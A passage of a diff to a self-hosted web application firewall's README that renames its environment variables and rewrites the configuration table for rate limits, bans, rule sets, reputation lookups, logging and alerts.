http://servewaf:8080/_smallwebwaf/metrics`. +- With `SWW_WAF_METRICS_TOKEN` set, this answers with the metrics, from a host + on `waf`'s network: + `curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/metrics`. - `make example-app` builds the image and an app on it, runs them, and checks the whole exchange (see "Entrypoints"). ## Configuration Every setting is an environment variable, read once at start; changing one means -restarting the container. `rproxy` reads only the `SWRP_` settings, and -`servewaf` only the `SWWAF_` ones. Every setting but `SWRP_WAF_BACKEND` has a +restarting the container. `rproxy` reads only the `SWW_RPROXY_` settings, and +`waf` only the `SWW_WAF_` ones. Every setting but `SWW_RPROXY_WAF_BACKEND` has a default, chosen for a service on the open internet. A setting that needs an account, a key, a token or an alert destination stays off until you give one. -- Any `SWWAF_` setting can be given as a file instead, for secrets and long - lists: `SWWAF_ADMIN_TOKEN_FILE` names the file that holds `SWWAF_ADMIN_TOKEN`. - The file's contents are the value, less one newline at the end. Setting both - forms stops the start. `SWWAF_LOG_REMOTE_TLS_CA_FILE` already names a file, so - it has no `_FILE` form, and no `SWRP_` setting has one, since `rproxy` never - touches disk. +- Any `SWW_WAF_` or `SWW_RPROXY_` setting can be given as a file instead, for + secrets and long lists: `SWW_WAF_ADMIN_TOKEN_FILE` names the file that holds + `SWW_WAF_ADMIN_TOKEN`. The file's contents are the value, less one newline at + the end. Setting both forms stops the start. `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` + and `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` already name a file, so they have + no `_FILE` form. `SWW_COMMAND` cannot be given as a file. - A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. - A size is a number of bytes with an optional `K`, `M` or `G`, in powers of 1024: `512K`, `100M`, `5G`. @@ -208,127 +279,134 @@ account, a key, a token or an alert destination stays off until you give one. percentage is a whole number from 0 to 100. A path prefix starts with `/`. - `off` switches a limit, a threshold or a timeout off where the table says a setting takes it. +- The byte limits and the byte anomaly thresholds count only body bytes: the + app's response bodies, the visitors' request bodies, or both, as + `SWW_WAF_BYTES_COUNTED` says. Headers are never counted. What the visitor sent + over a WebSocket counts as request bytes, and what the app sent as response + bytes. - An invalid setting stops the process at start with one log line naming the variable and what is wrong with the value. The settings in effect are logged on one line at start, with tokens, keys and webhook paths shown as `********`. Every setting the code reads, with its default: -| Variable | Default | What it does | -| ------------------------------------------ | ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `SMALLWEBWAF_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `servewaf`. | -| `SWRP_WAF_BACKEND` | required | `servewaf`'s URL, such as `http://servewaf:8080`. | -| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | -| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | -| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | -| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `servewaf`'s answer to a question and to a report, in milliseconds. | -| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `servewaf` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | -| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | -| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`; a larger one is answered `502`, or cut off once it has started. | -| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | How long the visitor may take to send its request line and headers, and then the whole request to reach the app, in milliseconds or `off`. | -| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | -| `SWWAF_LISTEN_ADDR` | `:8080` | Where `servewaf` listens; leave the host part empty. | -| `SWWAF_INSTANCE_NAME` | the container's host name | The name in every line `servewaf` logs, and in every alert and metric, such as `fsn1/servewaf`. | -| `SWWAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | -| `SWWAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | -| `SWWAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | -| `SWWAF_MAX_BANS` | `5000` | The most bans `servewaf` keeps of its own; bans an admin made do not count. | -| `SWWAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | -| `SWWAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients the request and byte limits neither count nor refuse. | -| `SWWAF_DENY_NETS` | empty | Netblocks whose clients are refused. | -| `SWWAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; one more bans it. | -| `SWWAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes whose requests the request and byte limits neither count nor refuse, such as `/assets/`. | -| `SWWAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes a client's requests may carry in a minute, a size or `off`; the request that takes a client past any byte limit bans it. | -| `SWWAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes a client's requests may carry in an hour, a size or `off`. | -| `SWWAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes a client's requests may carry in a day, a size or `off`. | -| `SWWAF_BYTES_COUNT` | `both` | Which body bytes the byte limits count: `response`, `request` or `both`. | -| `SWWAF_ERROR_BURST_THRESHOLD` | `30` | The most refusals by a rule file, a trap path or the Core Rule Set a client may get in a minute, a count or `off`; one more bans it. | -| `SWWAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | -| `SWWAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | -| `SWWAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A limit broken again within this time after the last such ban ended gets a ban three times as long. | -| `SWWAF_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | -| `SWWAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | -| `SWWAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | -| `SWWAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs`, a web service, `file`, or `off`. | -| `SWWAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | -| `SWWAF_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | -| `SWWAF_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | -| `SWWAF_DENIED_COUNTRIES` | empty | Countries whose clients are refused, such as `cn,ru`. | -| `SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | -| `SWWAF_ASN_LIMIT_PERCENT` | empty | AS numbers whose clients get a percentage of every request and byte limit, such as `AS14061:50,AS16276:25`. | -| `SWWAF_COUNTRY_LIMIT_PERCENT` | empty | The same by country, such as `cn:25`. | -| `SWWAF_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `SWWAF_ASN_LIMIT_PERCENT`. | -| `SWWAF_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `SWWAF_COUNTRY_LIMIT_PERCENT`. | -| `SWWAF_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | -| `SWWAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; where it and `SWWAF_ASN_LIMIT_PERCENT` both give a percentage, the lower applies. | -| `SWWAF_RULES_DIR` | `/etc/smallwebwaf/rules.d` | The directory of the rule files, read at start and again when a file there changes. | -| `SWWAF_RULES_ENABLED` | `true` | `false` reads no rule file. | -| `SWWAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | -| `SWWAF_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | -| `SWWAF_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | -| `SWWAF_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | -| `SWWAF_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | -| `SWWAF_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | -| `SWWAF_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | -| `SWWAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | -| `SWWAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | -| `SWWAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | -| `SWWAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | -| `SWWAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | -| `SWWAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | -| `SWWAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | -| `SWWAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | -| `SWWAF_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | -| `SWWAF_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | -| `SWWAF_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | -| `SWWAF_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | -| `SWWAF_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | -| `SWWAF_STATE_DIR` | `/var/lib/smallwebwaf` | The directory of the state files, an absolute path. | -| `SWWAF_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | -| `SWWAF_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | -| `SWWAF_LOG_LEVEL` | `info` | The least severe of `servewaf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | -| `SWWAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | -| `SWWAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `servewaf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | -| `SWWAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | -| `SWWAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | -| `SWWAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | -| `SWWAF_LOG_REMOTE_APP_NAME` | `SWWAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | -| `SWWAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | -| `SWWAF_METRICS_TOKEN` | unset | The bearer token for `/_smallwebwaf/metrics`, at least 32 characters; unset, the metrics are off. | -| `SWWAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | -| `SWWAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | -| `SWWAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | -| `SWWAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | -| `SWWAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | -| `SWWAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | -| `SWWAF_ALERT_EVENTS` | `ban,permanent_ban,waf_block,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | -| `SWWAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | -| `SWWAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | -| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when one client's requests carry more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when one client's requests carry more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when the netblock around a client carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when the netblock around a client carries more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 32. | -| `SWWAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWWAF_ANOMALY_NET_` thresholds count, from 0 to 128. | -| `SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when one AS number carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when one AS number carries more bytes than this in an hour, a size. | -| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | -| `SWWAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | -| `SWWAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when the whole service carries more bytes than this in a minute, a size. | -| `SWWAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when the whole service carries more bytes than this in an hour, a size. | -| `SWWAF_WATCH_NETS` | empty | Named netblocks the `SWWAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | -| `SWWAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | -| `SWWAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | -| `SWWAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when a watched netblock carries more bytes than this in a minute, a size. | -| `SWWAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when a watched netblock carries more bytes than this in an hour, a size. | +| Variable | Default | What it does | +| ------------------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `waf`. | +| `SWW_RPROXY_WAF_BACKEND` | required | `waf`'s URL, such as `http://waf:8080`. | +| `SWW_RPROXY_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | +| `SWW_RPROXY_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | +| `SWW_RPROXY_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | +| `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `waf`'s answer to a question and to a report, in milliseconds. | +| `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` | `allow` | What `rproxy` does with a request when `waf` gives no answer in time, and while the circuit breaker for asks to `waf` is open: `allow` passes it to the app, `deny` answers `503`. | +| `SWW_RPROXY_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | +| `SWW_RPROXY_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | +| `SWW_RPROXY_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | +| `SWW_RPROXY_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | +| `SWW_WAF_LISTEN_ADDR` | `:8080` | Where `waf` listens; leave the host part empty. | +| `SWW_WAF_INSTANCE_NAME` | the container's host name | The name in every line `waf` logs, and in every alert and metric, such as `host1/waf`. | +| `SWW_WAF_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | +| `SWW_WAF_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | +| `SWW_WAF_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | +| `SWW_WAF_MAX_BANS` | `5000` | The most bans `waf` keeps of its own; bans an admin made do not count. | +| `SWW_WAF_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | +| `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | +| `SWW_WAF_DENY_NETS` | empty | Netblocks whose clients are refused. | +| `SWW_WAF_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | +| `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | +| `SWW_WAF_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_WAF_BYTES_COUNTED` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | +| `SWW_WAF_BYTES_COUNTED` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | +| `SWW_WAF_REFUSALS_LIMIT_PER_MINUTE` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | +| `SWW_WAF_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | +| `SWW_WAF_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | +| `SWW_WAF_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | +| `SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | +| `SWW_WAF_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | +| `SWW_WAF_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | +| `SWW_WAF_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | +| `SWW_WAF_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | +| `SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS` | `800` | How long a request waits for its client's first GeoJS answer when a setting needs it, in milliseconds. The request to GeoJS goes on, and a later answer is kept. | +| `SWW_WAF_ADD_LOOKUP_HEADERS` | `true`, or `false` while the lookup source is `off` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | +| `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | +| `SWW_WAF_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | +| `SWW_WAF_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | +| `SWW_WAF_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | +| `SWW_WAF_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | +| `SWW_WAF_ASN_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | +| `SWW_WAF_COUNTRY_BYTES_LIMIT_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | +| `SWW_WAF_UNKNOWN_COUNTRY_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | +| `SWW_WAF_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS:` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_WAF_TAG_LIMIT_PERCENT` (the lowest wins). | +| `SWW_WAF_RULE_FILES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | +| `SWW_WAF_RULE_FILES_ENABLED` | `true` | `false` reads no rule file. | +| `SWW_WAF_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | +| `SWW_WAF_CORE_RULE_SET_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | +| `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | +| `SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | +| `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | +| `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | +| `SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE` | `off` | How much of a request body the Core Rule Set reads, a size up to `8K`; `off` reads none. | +| `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | +| `SWW_WAF_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. | +| `SWW_WAF_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | +| `SWW_WAF_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | +| `SWW_WAF_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:` of every limit, or `log`. | +| `SWW_WAF_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | +| `SWW_WAF_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | +| `SWW_WAF_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | +| `SWW_WAF_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | +| `SWW_WAF_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | +| `SWW_WAF_DNSBL_ABUSEIPDB_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:` or `log`. | +| `SWW_WAF_IP_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | +| `SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS` | `2000` | How long a DNS blocklist query or an AbuseIPDB check may take, in milliseconds. | +| `SWW_WAF_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | +| `SWW_WAF_BANS_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | +| `SWW_WAF_STATE_WRITE_INTERVAL` | `15m` | How often every state and cache file is written. | +| `SWW_WAF_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. | +| `SWW_WAF_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | +| `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | +| `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | +| `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | +| `SWW_WAF_LOG_REMOTE_BUFFER_LINES` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | +| `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | +| `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | +| `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | +| `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | +| `SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | +| `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | +| `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer `. | +| `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | +| `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | +| `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | +| `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | +| `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | +| `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | +| 